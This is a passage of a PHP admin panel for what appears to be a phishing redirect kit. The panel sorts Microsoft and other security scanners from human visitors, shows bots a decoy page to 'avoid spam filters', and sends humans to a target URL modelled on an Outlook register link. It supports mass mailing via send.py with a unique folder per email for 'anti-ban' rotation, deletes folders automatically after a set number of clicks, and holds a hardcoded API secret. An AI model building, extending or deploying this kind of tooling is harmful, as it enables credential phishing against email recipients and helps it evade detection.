6px; font-size: 13px; font-weight: 600; } .logout-btn:hover { background: #da190b; } @media (max-width: 768px) { .grid-2 { grid-template-columns: 1fr; } } </style> </head> <body> <div class="header"> <div> <h1>๐ Advanced Redirect Admin Panel</h1> <div class="subtitle">Anti-Bot & Anti-Spam Management System ยท Timezone: WIB (Asia/Jakarta)</div> </div> <a href="?logout" class="logout-btn">Logout</a> </div> <?php if ($message): ?> <div class="message <?= strpos($message, 'โ') !== false ? 'success' : 'error' ?>"> <?= htmlspecialchars($message) ?> </div> <?php endif; ?> <div class="stats-grid"> <div class="stat-box"> <div class="stat-label">Total Clicks (Human)</div> <div class="stat-value"><?= number_format($aggregateStats['total_clicks']) ?></div> </div> <div class="stat-box" style="background: linear-gradient(135deg, #3b82f6 0%, #1e40af 100%);"> <div class="stat-label">Blocked: Microsoft Bots</div> <div class="stat-value"><?= number_format($aggregateStats['total_bots_ms']) ?></div> </div> <div class="stat-box" style="background: linear-gradient(135deg, #8b5cf6 0%, #6d28d9 100%);"> <div class="stat-label">Blocked: Generic Bots</div> <div class="stat-value"><?= number_format($aggregateStats['total_bots_generic']) ?></div> </div> <div class="stat-box" style="background: linear-gradient(135deg, #f59e0b 0%, #d97706 100%);"> <div class="stat-label">Blocked by Antibot.pw</div> <div class="stat-value"><?= number_format($aggregateStats['total_bots_antibot']) ?></div> </div> <div class="stat-box" style="background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%);"> <div class="stat-label">Invalid Parameters</div> <div class="stat-value"><?= number_format($aggregateStats['total_invalid']) ?></div> </div> </div> <div class="card"> <h2>๐ Advanced Analytics</h2> <div style="margin-bottom: 16px;"> <button onclick="loadAnalytics()" class="btn-primary" style="padding: 10px 20px;"> ๐ Refresh Analytics </button> </div> <div style="background: #d1fae5; padding: 12px; border-radius: 6px; border-left: 3px solid #10b981; margin-bottom: 16px;"> <p style="margin: 0; font-size: 13px; color: #065f46;"> <strong>๐ Country Detection:</strong> Using offline database (50+ countries) - No external API required </p> </div> <div id="analytics-loading" style="display: none; background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6; margin-bottom: 16px;"> <p style="margin: 0; font-size: 13px; color: #1e40af;">โณ Loading analytics data...</p> </div> <div id="analytics-content"></div> </div> <div class="stats-grid" style="grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));"> <div class="stat-box" style="background: linear-gradient(135deg, #10b981 0%, #059669 100%);"> <div class="stat-label">Total Bot Detection</div> <div class="stat-value"> <?php $totalBots = $aggregateStats['total_bots_ms'] + $aggregateStats['total_bots_generic'] + $aggregateStats['total_bots_antibot']; echo number_format($totalBots); ?> </div> <div style="font-size: 12px; margin-top: 4px; opacity: 0.9;"> MS: <?= number_format($aggregateStats['total_bots_ms']) ?> | Generic: <?= number_format($aggregateStats['total_bots_generic']) ?> | Antibot: <?= number_format($aggregateStats['total_bots_antibot']) ?> </div> </div> <div class="stat-box" style="background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);"> <div class="stat-label">Success Rate</div> <div class="stat-value"> <?php $totalBots = $aggregateStats['total_bots_ms'] + $aggregateStats['total_bots_generic'] + $aggregateStats['total_bots_antibot']; $total = $aggregateStats['total_clicks'] + $totalBots; $rate = $total > 0 ? round(($aggregateStats['total_clicks'] / $total) * 100, 1) : 0; echo $rate . '%'; ?> </div> <div style="font-size: 12px; margin-top: 4px; opacity: 0.9;"> Human: <?= number_format($aggregateStats['total_clicks']) ?> / Total: <?= number_format($total) ?> </div> </div> </div> <div class="grid-2"> <div class="card"> <h2>๐ฏ Target URL</h2> <form method="POST"> <input type="hidden" name="action" value="update_url"> <label for="target_url">Target URL (for legitimate humans)</label> <input id="target_url" type="url" name="target_url" value="<?= htmlspecialchars($data['target_url'] ?? '') ?>" placeholder="https://your-landing-page.com" required> <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6; margin-top: 12px;"> <p style="margin: 0 0 8px 0; font-size: 13px; color: #1e40af; font-weight: 600;"> ๐ก Dynamic URL Placeholders (Auto-Generated): </p> <div style="font-size: 12px; color: #1e3a8a; font-family: monospace; line-height: 1.8;"> <strong>{session}</strong> โ Random 32 hex chars (e.g., 7A8F9C2E4B6D1A3F...)<br> <strong>{token}</strong> โ Random 32 hex chars<br> <strong>{id}</strong> โ Random 24 hex chars<br> <strong>{ref}</strong> โ Random 6-digit number (e.g., 847293)<br> <strong>{code}</strong> โ Random 8 uppercase hex (e.g., A1B2C3D4)<br> <strong>{random}</strong> โ Random 16 hex chars<br> <strong>{hex32}</strong> โ Random 32 hex chars<br> <strong>{hex16}</strong> โ Random 16 hex chars<br> <strong>{num6}</strong> โ Random 6-digit number<br> <strong>{num8}</strong> โ Random 8-digit number<br> <strong>{timestamp}</strong> โ Current Unix timestamp<br> <strong>{alphanum}</strong> โ Random 8 alphanumeric (uppercase) </div> </div> <div style="background: #f0fdf4; padding: 12px; border-radius: 6px; border-left: 3px solid #10b981; margin-top: 12px;"> <p style="margin: 0 0 8px 0; font-size: 13px; color: #065f46; font-weight: 600;"> โ Example Usage: </p> <div style="font-size: 12px; color: #064e3b; line-height: 1.8;"> <code style="background: rgba(255,255,255,0.7); padding: 2px 6px; border-radius: 3px; display: block; margin-bottom: 6px;"> https://onefile.outlook.com/register?session={session}&ref={ref} </code> <span style="color: #6b7280;">Will become:</span> <code style="background: rgba(255,255,255,0.7); padding: 2px 6px; border-radius: 3px; display: block; margin-top: 4px;"> https://onefile.outlook.com/register?session=7A8F9C2E4B6D1A3F5E7C9B4D8A2F6E1C&ref=847293 </code> </div> </div> <p style="font-size: 13px; color: #6b7280; margin-top: 12px;"> โน๏ธ Bots will see fake register page (decoy-register.html)<br> No redirect for bots = avoid spam filters! </p> <div style="margin-top: 16px;"> <button type="submit" class="btn-primary">Update URL & Sync to All Folders</button> </div> </form> </div> <div class="card"> <h2>๐ก๏ธ Antibot.pw Integration</h2> <form method="POST"> <input type="hidden" name="action" value="update_antibot"> <label for="antibot_apikey">Antibot.pw API Key</label> <input id="antibot_apikey" type="text" name="antibot_apikey" value="<?= htmlspecialchars($data['antibot_apikey'] ?? '') ?>" placeholder="Enter your Antibot.pw API key"> <p style="font-size: 12px; color: #6b7280; margin-top: 8px;"> Get your API key at <a href="https://antibot.pw" target="_blank" style="color: #3b82f6;">antibot.pw</a> </p> <div style="margin-top: 16px;"> <button type="submit" class="btn-primary">Save Antibot.pw Settings</button> </div> </form> <div style="margin-top: 16px; padding: 12px; background: #fef3c7; border-radius: 6px; border-left: 3px solid #f59e0b;"> <p style="margin: 0; font-size: 13px; color: #92400e;"> <strong>Status:</strong> <?php if (!empty($data['antibot_apikey']) && !empty($data['enable_antibot'])): ?> <span style="color: #059669;">โ Active</span> <?php elseif (!empty($data['antibot_apikey'])): ?> <span style="color: #dc2626;">โ ๏ธ API key set but disabled in settings</span> <?php else: ?> <span style="color: #6b7280;">โฌ Not configured</span> <?php endif; ?> </p> </div> </div> </div> <div class="card"> <h2>โ๏ธ Protection Settings</h2> <form method="POST"> <input type="hidden" name="action" value="update_settings"> <label for="bot_threshold">Bot Detection Threshold</label> <select id="bot_threshold" name="bot_threshold"> <option value="30" <?= ($data['bot_threshold'] ?? 50) == 30 ? 'selected' : '' ?>> 30 - Strict (may block some humans) </option> <option value="50" <?= ($data['bot_threshold'] ?? 50) == 50 ? 'selected' : '' ?>> 50 - Balanced (recommended) </option> <option value="70" <?= ($data['bot_threshold'] ?? 50) == 70 ? 'selected' : '' ?>> 70 - Relaxed (less false positives) </option> </select> <div style="margin-top: 16px;"> <div class="checkbox-group"> <input type="checkbox" id="js_check" name="enable_js_check" <?= !empty($data['enable_js_check']) ? 'checked' : '' ?>> <label for="js_check">Enable JavaScript Verification</label> </div> <div class="checkbox-group"> <input type="checkbox" id="fingerprint" name="enable_fingerprint" <?= !empty($data['enable_fingerprint']) ? 'checked' : '' ?>> <label for="fingerprint">Enable Browser Fingerprinting</label> </div> <div class="checkbox-group"> <input type="checkbox" id="timing_check" name="enable_timing_check" <?= !empty($data['enable_timing_check']) ? 'checked' : '' ?>> <label for="timing_check">Enable Timing Analysis</label> </div> <div class="checkbox-group"> <input type="checkbox" id="asn_check" name="enable_asn_check" <?= !empty($data['enable_asn_check']) ? 'checked' : '' ?>> <label for="asn_check">Enable ASN Check (Advanced - adds latency)</label> </div> <div class="checkbox-group"> <input type="checkbox" id="antibot_enable" name="enable_antibot" <?= !empty($data['enable_antibot']) ? 'checked' : '' ?>> <label for="antibot_enable">Enable Antibot.pw Protection</label> </div> <div class="checkbox-group"> <input type="checkbox" id="auto_delete_enable" name="auto_delete_enabled" <?= !empty($data['auto_delete_enabled']) ? 'checked' : '' ?>> <label for="auto_delete_enable">Auto-Delete Folder After X Clicks</label> </div> </div> <div style="margin-top: 16px;"> <label for="auto_delete_clicks">Auto-Delete Threshold (clicks)</label> <input type="number" id="auto_delete_clicks" name="auto_delete_clicks" value="<?= intval($data['auto_delete_clicks'] ?? 10) ?>" min="1" max="1000" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 14px;"> <p style="font-size: 12px; color: #6b7280; margin-top: 4px;"> โน๏ธ Folder will auto-delete after reaching this many human clicks (only for dynamic folders) </p> </div> <div style="margin-top: 16px;"> <button type="submit" class="btn-primary">Save Settings</button> </div> </form> </div> <div class="card"> <h2>๐ Folder Information</h2> <?php // Get folder info $currentFolder = basename(__DIR__); $isDynamicFolder = preg_match('/^[a-z0-9]{6}$/', $currentFolder); $createdAt = $data['created_at'] ?? null; $folderAge = $createdAt ? (time() - $createdAt) : 0; $folderAgeDays = floor($folderAge / 86400); $folderAgeHours = floor(($folderAge % 86400) / 3600); ?> <div style="background: #f3f4f6; padding: 16px; border-radius: 8px; margin-bottom: 16px;"> <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px;"> <div> <div style="font-size: 12px; color: #6b7280; margin-bottom: 4px;">Folder Name</div> <div style="font-size: 16px; font-weight: 600; color: #1f2937; font-family: monospace;"> <?= htmlspecialchars($currentFolder) ?> <?php if ($isDynamicFolder): ?> <span style="font-size: 11px; background: #dbeafe; color: #1e40af; padding: 2px 6px; border-radius: 4px; margin-left: 8px;">DYNAMIC</span> <?php else: ?> <span style="font-size: 11px; background: #fef3c7; color: #92400e; padding: 2px 6px; border-radius: 4px; margin-left: 8px;">STATIC</span> <?php endif; ?> </div> </div> <?php if ($createdAt): ?> <div> <div style="font-size: 12px; color: #6b7280; margin-bottom: 4px;">Created</div> <div style="font-size: 14px; font-weight: 600; color: #1f2937;"> <?= date('Y-m-d H:i:s', $createdAt) ?> </div> <div style="font-size: 11px; color: #6b7280; margin-top: 2px;"> <?= $folderAgeDays ?>d <?= $folderAgeHours ?>h ago </div> </div> <?php endif; ?> <div> <div style="font-size: 12px; color: #6b7280; margin-bottom: 4px;">Human Clicks</div> <div style="font-size: 20px; font-weight: 700; color: #10b981;"> <?= $data['clicks'] ?? 0 ?> <?php if (!empty($data['auto_delete_enabled'])): ?> <span style="font-size: 14px; color: #6b7280;"> / <?= $data['auto_delete_clicks'] ?? 10 ?></span> <?php endif; ?> </div> <?php if (!empty($data['auto_delete_enabled']) && $isDynamicFolder): ?> <?php $remaining = ($data['auto_delete_clicks'] ?? 10) - ($data['clicks'] ?? 0); $percentage = min(100, (($data['clicks'] ?? 0) / ($data['auto_delete_clicks'] ?? 10)) * 100); ?> <div style="margin-top: 6px; background: #e5e7eb; border-radius: 4px; height: 6px; overflow: hidden;"> <div style="background: <?= $percentage >= 90 ? '#ef4444' : ($percentage >= 70 ? '#f59e0b' : '#10b981') ?>; height: 100%; width: <?= $percentage ?>%;"></div> </div> <div style="font-size: 11px; color: #6b7280; margin-top: 4px;"> <?= max(0, $remaining) ?> clicks until auto-delete </div> <?php endif; ?> </div> </div> </div> <?php if (!empty($data['auto_delete_enabled']) && $isDynamicFolder): ?> <div style="background: #fef3c7; padding: 12px; border-radius: 6px; border-left: 3px solid #f59e0b;"> <p style="margin: 0; font-size: 13px; color: #92400e;"> <strong>โ ๏ธ Auto-Delete Active:</strong> This folder will be automatically deleted after <strong><?= $data['auto_delete_clicks'] ?? 10 ?> human clicks</strong>. </p> </div> <?php endif; ?> </div> <div class="card"> <h2>๐ Recent Activity Logs (All Folders)</h2> <div style="margin-bottom: 12px;"> <form method="POST" style="display: inline;"> <input type="hidden" name="action" value="clear_logs"> <button type="submit" class="btn-danger" onclick="return confirm('Clear all logs?')">Clear Logs</button> </form> <form method="POST" style="display: inline; margin-left: 8px;"> <input type="hidden" name="action" value="reset_stats"> <button type="submit" class="btn-secondary" onclick="return confirm('Reset statistics?')">Reset Stats</button> </form> <span style="margin-left: 12px; font-size: 13px; color: #6b7280;"> Showing logs from <strong><?= $aggregateStats['total_folders'] ?></strong> dynamic folders </span> </div> <div class="log-viewer"> <?php if (empty($aggregateStats['recent_logs'])): ?> <div style="text-align: center; color: #888; padding: 20px;">No logs yet</div> <?php else: ?> <?php foreach ($aggregateStats['recent_logs'] as $logLine): ?> <?php $log = json_decode($logLine, true); if (!$log) continue; $class = ''; $typeLabel = ''; $typeColor = '#667eea'; if (strpos($log['action'], 'blocked') !== false) { $class = 'blocked'; // Determine bot type if (strpos($log['action'], 'antibot') !== false) { $typeLabel = '[Antibot.pw]'; $typeColor = '#f59e0b'; } elseif (isset($log['bot_type']) && $log['bot_type'] === 'microsoft') { $typeLabel = '[Microsoft]'; $typeColor = '#3b82f6'; } else { $typeLabel = '[Generic]'; $typeColor = '#8b5cf6'; } } elseif (strpos($log['action'], 'allowed') !== false) { $class = 'allowed'; $typeLabel = '[Human]'; $typeColor = '#10b981'; } $folderName = $log['folder'] ?? 'unknown'; ?> <div class="log-entry <?= $class ?>"> <strong>[<?= htmlspecialchars($log['timestamp']) ?>]</strong> <span style="background: #374151; color: #d4d4d4; padding: 2px 6px; border-radius: 3px; font-size: 11px; font-family: monospace;"><?= htmlspecialchars($folderName) ?></span> <span style="color: <?= $typeColor ?>; font-weight: 600;"><?= $typeLabel ?></span> <?= htmlspecialchars($log['action']) ?> <br> IP: <?= htmlspecialchars($log['ip']) ?> | Bot Score: <strong><?= $log['bot_score'] ?></strong> | Token: <?= htmlspecialchars(substr($log['token'], 0, 12)) ?>... | Ref: <?= htmlspecialchars($log['ref']) ?> <?php if (!empty($log['bot_reasons'])): ?> <br> <span style="color: #ff9800;">Reasons: <?= htmlspecialchars($log['bot_reasons']) ?></span> <?php endif; ?> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <div class="card"> <h2>๐งน Dynamic Folder Management</h2> <div style="background: #fef3c7; padding: 12px; border-radius: 6px; border-left: 3px solid #f59e0b; margin-bottom: 16px;"> <p style="margin: 0; font-size: 13px; color: #92400e;"> <strong>โน๏ธ Dynamic Folders:</strong> When using <code>send.py</code> with folder rotation, each email gets a unique folder. Clean old folders regularly to save disk space. </p> </div> <div id="folder-stats" style="background: #f3f4f6; padding: 12px; border-radius: 6px; margin-bottom: 16px;"> <p style="margin: 0; font-size: 13px; color: #6b7280;">Loading statistics...</p> </div> <div style="display: flex; gap: 12px; align-items: center; flex-wrap: wrap;"> <button onclick="loadFolderStats()" class="btn-secondary" style="padding: 10px 20px;"> ๐ Refresh Stats </button> <button onclick="testCreateFolder()" class="btn-primary" style="padding: 10px 20px;"> ๐งช Test Create Folder </button> <button onclick="cleanupFolders()" class="btn-danger" style="padding: 10px 20px;"> ๐๏ธ Clean All Folders </button> </div> <div id="test-result" style="margin-top: 16px;"></div> <div id="cleanup-result" style="margin-top: 16px;"></div> </div> <div class="card"> <h2>๐ฏ Advanced Cleanup (Custom Filters)</h2> <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6; margin-bottom: 16px;"> <p style="margin: 0; font-size: 13px; color: #1e40af;"> <strong>๐ก Smart Cleanup:</strong> Delete folders based on custom criteria below. Leave fields empty to ignore that filter. </p> </div> <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 16px; margin-bottom: 20px;"> <!-- Clicks Filter --> <div style="background: #f9fafb; padding: 16px; border-radius: 8px; border: 1px solid #e5e7eb;"> <h3 style="margin: 0 0 12px 0; font-size: 14px; color: #374151; font-weight: 600;">๐ Clicks Filter</h3> <label style="font-size: 13px;">Min Clicks</label> <input type="number" id="filter_min_clicks" placeholder="e.g., 3" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px; margin-bottom: 8px;"> <label style="font-size: 13px;">Max Clicks</label> <input type="number" id="filter_max_clicks" placeholder="e.g., 10" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px;"> <div style="margin-top: 12px;"> <label style="display: flex; align-items: center; font-size: 13px; margin-bottom: 6px;"> <input type="checkbox" id="filter_zero_clicks" style="margin-right: 6px;"> Zero clicks only </label> <label style="display: flex; align-items: center; font-size: 13px;"> <input type="checkbox" id="filter_has_clicks" style="margin-right: 6px;"> Has clicks only (>0) </label> </div> </div> <!-- Bots Filter --> <div style="background: #f9fafb; padding: 16px; border-radius: 8px; border: 1px solid #e5e7eb;"> <h3 style="margin: 0 0 12px 0; font-size: 14px; color: #374151; font-weight: 600;">๐ค Bots Filter</h3> <label style="font-size: 13px;">Min Bots Blocked</label> <input type="number" id="filter_min_bots" placeholder="e.g., 5" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px; margin-bottom: 8px;"> <label style="font-size: 13px;">Max Bots Blocked</label> <input type="number" id="filter_max_bots" placeholder="e.g., 50" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px;"> </div> <!-- Age Filter --> <div style="background: #f9fafb; padding: 16px; border-radius: 8px; border: 1px solid #e5e7eb;"> <h3 style="margin: 0 0 12px 0; font-size: 14px; color: #374151; font-weight: 600;">๐ Age Filter</h3> <label style="font-size: 13px;">Older than (days)</label> <input type="number" id="filter_older_than" placeholder="e.g., 7" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px; margin-bottom: 8px;"> <label style="font-size: 13px;">Newer than (days)</label> <input type="number" id="filter_newer_than" placeholder="e.g., 1" min="0" style="width: 100%; padding: 8px; border: 1px solid #d1d5db; border-radius: 6px; font-size: 13px;"> <p style="margin: 8px 0 0 0; font-size: 11px; color: #6b7280;"> โน๏ธ Example: "Older than 3" deletes folders >3 days old </p> </div> </div> <!-- Preset Buttons --> <div style="background: #f3f4f6; padding: 16px; border-radius: 8px; margin-bottom: 16px;"> <p style="margin: 0 0 12px 0; font-size: 14px; font-weight: 600; color: #374151;">โก Quick Presets:</p> <div style="display: flex; gap: 8px; flex-wrap: wrap;"> <button onclick="applyPreset('clicks_above_3')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Clicks โฅ 3 </button> <button onclick="applyPreset('zero_clicks')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Zero Clicks </button> <button onclick="applyPreset('old_7days')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Older than 7 days </button> <button onclick="applyPreset('old_3days')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Older than 3 days </button> <button onclick="applyPreset('old_1day')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Older than 1 day </button> <button onclick="applyPreset('high_bots')" class="btn-secondary" style="padding: 8px 16px; font-size: 13px;"> Bots > 20 </button> <button onclick="clearFilters()" class="btn-secondary" style="padding: 8px 16px; font-size: 13px; background: #6b7280;"> ๐ Clear Filters </button> </div> </div> <!-- Preview & Execute --> <div style="display: flex; gap: 12px; margin-bottom: 16px;"> <button onclick="previewAdvancedCleanup()" class="btn-primary" style="padding: 10px 20px;"> ๐๏ธ Preview Delete </button> <button onclick="executeAdvancedCleanup()" class="btn-danger" style="padding: 10px 20px;"> ๐๏ธ Execute Delete </button> </div> <div id="advanced-cleanup-result"></div> </div> <div class="card"> <h2>๐ Integration Guide</h2> <?php // Auto-detect current URL $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'yourdomain.com'; $scriptPath = dirname($_SERVER['SCRIPT_NAME']); $fullUrl = $protocol . '://' . $host . $scriptPath . '/'; // Remove /admin.php and trailing slashes if present $baseUrl = rtrim(str_replace('/admin.php', '', $fullUrl), '/'); // Generate full link template $linkTemplate = $baseUrl . '/?token={_token}&ref={_ref}&utm={_utm}'; $dynamicLinkTemplate = $baseUrl . '/../{folder}/?token={_token}&ref={_ref}&utm={_utm}'; ?> <div style="background: #fef3c7; padding: 12px; border-radius: 6px; border-left: 3px solid #f59e0b; margin-bottom: 20px;"> <p style="margin: 0 0 8px 0; font-size: 13px; color: #92400e; font-weight: 600;"> ๐ Two Integration Modes: </p> <p style="margin: 0; font-size: 12px; color: #92400e;"> <strong>Static Mode:</strong> Use fixed URL below (simple, for small campaigns)<br> <strong>Dynamic Mode:</strong> Use {link} placeholder in letter.html (advanced, anti-ban) </p> </div> <p style="margin-bottom: 12px; font-size: 14px; color: #374151;"> <strong>๐ Static Mode - Your redirect endpoint:</strong> </p> <div style="background: #f3f4f6; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6; margin-bottom: 20px;"> <code style="color: #1f2937; font-size: 13px; word-break: break-all;"> <?= htmlspecialchars($baseUrl) ?> </code> </div> <p style="margin-bottom: 12px; font-size: 14px; color: #374151;"> <strong>Static URL format (hardcoded):</strong> </p> <pre class="mono" style="padding: 12px; overflow-x: auto; background: #1e1e1e; color: #d4d4d4; border-radius: 6px;"><?= htmlspecialchars($linkTemplate) ?></pre> <button onclick="copyToClipboard('<?= htmlspecialchars($linkTemplate, ENT_QUOTES) ?>')" style="margin-top: 12px; padding: 8px 16px; background: #3b82f6; color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;"> ๐ Copy Static Link </button> <p style="margin-top: 16px; font-size: 14px; color: #374151;"> <strong>๐งช Test Static Link:</strong> </p> <?php $testStaticUrl = $baseUrl . '/?token=abc123def456789012345678901234ab&ref=TestRef123456789&utm=test12345'; ?> <div style="background: #f3f4f6; padding: 12px; border-radius: 6px; margin-top: 8px;"> <a href="<?= htmlspecialchars($testStaticUrl) ?>" target="_blank" style="color: #3b82f6; text-decoration: none; font-size: 13px; word-break: break-all;"> ๐ <?= htmlspecialchars($testStaticUrl) ?> </a> </div> <hr style="margin: 32px 0; border: 0; border-top: 1px solid #e5e7eb;"> <p style="margin-bottom: 12px; font-size: 14px; color: #374151;"> <strong>๐ Dynamic Mode - Use placeholder in letter.html:</strong> </p> <pre class="mono" style="padding: 12px; overflow-x: auto; background: #1e1e1e; color: #d4d4d4; border-radius: 6px; font-size: 12px;"><a href="{link}?token={_token}&ref={_ref}&utm={_utm}">Click Here</a></pre> <p style="margin-top: 12px; font-size: 13px; color: #6b7280;"> โน๏ธ <code>{link}</code> will be replaced by:<br> โข Static: <code><?= htmlspecialchars($baseUrl) ?></code><br> โข Dynamic: <code><?= htmlspecialchars(dirname($baseUrl)) ?>/a7b2x3</code> (unique per email) </p> <p style="margin-top: 24px; margin-bottom: 12px; font-size: 14px; color: #374151;"> <strong>Enable Dynamic Mode in send.py:</strong> </p> <pre class="mono" style="padding: 12px; overflow-x: auto; background: #1e1e1e; color: #d4d4d4; border-radius: 6px; font-size: 12px;">[DYNAMIC_FOLDER] enabled = true api_url = <?= htmlspecialchars($baseUrl) ?>/admin.php?api=create_folder api_secret = K7mP9nQ2rT5vX8zA3bC6dF1gH4jL0wY9xK2mN5pQ8rT1vW4yZ7 base_url = <?= htmlspecialchars(dirname($baseUrl)) ?> timeout = 15</pre> <p style="margin-top: 24px; margin-bottom: 12px; font-size: 14px; color: #374151;"> <strong>Parameter Format:</strong> </p> <table style="width: 100%; border-collapse: collapse; margin-top: 8px;"> <tr style="background: #f9fafb;"> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 13px;">token</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-size: 13px;">32 hex chars (MD5-like)</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 12px; color: #6b7280;">{_token}</td> </tr> <tr> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 13px;">ref</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-size: 13px;">16 alphanumeric chars</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 12px; color: #6b7280;">{_ref}</td> </tr> <tr style="background: #f9fafb;"> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 13px;">utm</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-size: 13px;">8-12 lowercase alphanumeric</td> <td style="padding: 8px; border: 1px solid #e5e7eb; font-family: monospace; font-size: 12px; color: #6b7280;">{_utm}</td> </tr> </table> <p style="margin-top: 24px; font-size: 13px; color: #6b7280;"> โน๏ธ These placeholders will be automatically replaced by <code>send.py</code> with unique values for each recipient. </p> <p style="margin-top: 16px;"><strong>Current Data File:</strong></p> <div class="mono" style="font-size: 12px;"><?= htmlspecialchars($dataFile) ?></div> </div> <script> function copyToClipboard(text) { if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).then(function() { alert('โ Link template copied to clipboard!'); }, function() { fallbackCopy(text); }); } else { fallbackCopy(text); } } function fallbackCopy(text) { const textarea = document.createElement('textarea'); textarea.value = text; textarea.style.position = 'fixed'; textarea.style.opacity = '0'; document.body.appendChild(textarea); textarea.select(); try { document.execCommand('copy'); alert('โ Link template copied to clipboard!'); } catch (err) { alert('โ Failed to copy. Please copy manually:\n\n' + text); } document.body.removeChild(textarea); } // Folder cleanup functions function loadFolderStats() { fetch('admin.php?ajax=cleanup&action=stats') .then(r => { console.log('Response status:', r.status); return r.text(); }) .then(text => { console.log('Response text:', text); const data = JSON.parse(text); return data; }) .then(data => { if (data.success) { document.getElementById('folder-stats').innerHTML = ` <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); gap: 12px;"> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #3b82f6;">${data.total_folders}</div> <div style="font-size: 12px; color: #6b7280;">Total Folders</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #10b981;">${data.active_folders}</div> <div style="font-size: 12px; color: #6b7280;">Active Folders</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #f59e0b;">${data.old_folders}</div> <div style="font-size: 12px; color: #6b7280;">Old (>7d)</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #ef4444;">${data.near_delete_folders}</div> <div style="font-size: 12px; color: #6b7280;">Near Delete</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #8b5cf6;">${data.total_clicks}</div> <div style="font-size: 12px; color: #6b7280;">Total Clicks</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #6366f1;">${data.total_bots}</div> <div style="font-size: 12px; color: #6b7280;">Total Bots</div> </div> <div style="text-align: center;"> <div style="font-size: 24px; font-weight: 700; color: #14b8a6;">${data.total_size_mb} MB</div> <div style="font-size: 12px; color: #6b7280;">Total Size</div> </div> </div> `; } else { document.getElementById('folder-stats').innerHTML = ` <p style="margin: 0; font-size: 13px; color: #dc2626;">โ ${data.error}</p> `; } }) .catch(err => { document.getElementById('folder-stats').innerHTML = ` <p style="margin: 0; font-size: 13px; color: #dc2626;">โ Error: ${err.message}</p> `; }); } function cleanupFolders() { if (!confirm('โ ๏ธ This will DELETE ALL dynamic folders!\n\nAre you sure?')) { return; } document.getElementById('cleanup-result').innerHTML = ` <div style="background: #dbeafe; padding: 12px; border-radius: 6px; border-left: 3px solid #3b82f6;"> <p style="margin: 0; font-size: 13px; color: #1e40af;">โณ Cleaning up all folders...</p> </div> `; const formData = new FormData(); formData.append('action', 'cleanup'); formData.append('delete_all', 'true'); fetch('admin.php?ajax=cleanup', { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { let resultHtml = ` <div style="background: #d1fae5; padding: 12px; border-radius: 6px; border-left: 3px solid #10b981;"> <p style="margin: 0 0 8px 0; font-size: 14px; color: #065f46; font-weight: 600;"> โ Cleanup completed! </p> <p style="margin: 0; font-size: 13px; color: #047857;"> ๐๏ธ Deleted ${data.deleted} dynamic folder(s) </p> `; if (data.deleted_folders && data.deleted_folders.length > 0) { resultHtml += ` <details style="margin-top: 8px;"> <summary style="cursor: pointer; font-size: 12px; color: #047857;">Show deleted folders</summary> <div style="margin-top: 8px; padding: 8px; background: rgba(255,255,255,0.5); border-radius: 4px; font-family: monospace; font-size: 11px; max-height: 150px; overflow-y: auto;"> ${data.deleted_folders.join(', ')} </div> </details> `; } if (data.errors && data.errors.length > 0) { resultHtml += ` <p style="margin: 8px 0 0 0; font-size: 12px; color: #dc2626;"> โ ๏ธ ${data.errors.length} error(s): ${data.errors.join(', ')} </p> `; } resultHtml += `</div>`; document.getElementById('cleanup-result').innerHTML = resultHtml; // Refresh stats setTimeout(loadFolderStats, 500); } else { document.getElementById('cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ ${data.error}</p> </div> `; } }) .catch(err => { document.getElementById('cleanup-result').innerHTML = ` <div style="background: #fee2e2; padding: 12px; border-radius: 6px; border-left: 3px solid #dc2626;"> <p style="margin: 0; font-size: 13px; color: #991b1b;">โ Error: 